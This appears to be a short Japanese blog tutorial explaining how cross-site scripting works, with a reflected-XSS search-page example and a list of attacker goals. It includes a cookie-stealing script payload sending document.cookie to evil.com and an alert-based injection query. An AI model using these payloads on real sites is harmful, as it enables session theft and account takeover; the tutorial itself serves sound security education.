Shikata Ga Nai

Private? There is no such things.

XSSはどうやって動作するのか?

Hello there, ('ω')ノ

🔁 攻撃の流れ(基本)

  1. 攻撃者が悪意あるスクリプトを仕込む

    • 例:<script>document.location='https://evil.com?cookie='+document.cookie</script>
  2. Webアプリがスクリプトを無害化せずに表示

    • 被害者がWebページを開くと、そのスクリプトがそのままHTMLとして表示される
  3. 被害者のブラウザでスクリプトが実行

    • クッキーやトークンの盗難、ページの改ざん、偽フォームの表示などが行われる
  4. 攻撃者がユーザーになりすまして操作したり、情報を盗んだりする


💡 具体例

たとえば、以下のように検索結果を表示するページがあるとします:

https://example.com/search?q=hello

検索キーワードをそのまま画面に表示している場合:

<p>検索結果:hello</p>

攻撃者が次のような検索クエリを作ると:

https://example.com/search?q=<script>alert('XSS')</script>

出力が以下のようになる可能性があります:

<p>検索結果:<script>alert('XSS')</script></p>

これにより、JavaScriptが実行され、アラートが表示されます。


🧠 攻撃の目的

XSSによって可能になる悪意のある操作の例:

  • ユーザーのセッションIDを盗む
  • フォームを偽装して情報を奪う(フィッシング)
  • 他ユーザーにマルウェアを配布する
  • アカウントを乗っ取る

✅ ポイント

  • XSSはサーバーではなく、ユーザーのブラウザでコードが実行される
  • 脆弱性は、入力値をそのまま出力してしまう箇所に存在する
  • JavaScriptが実行できる箇所を見つけることが攻撃のカギ

Best regards, (^^ゞ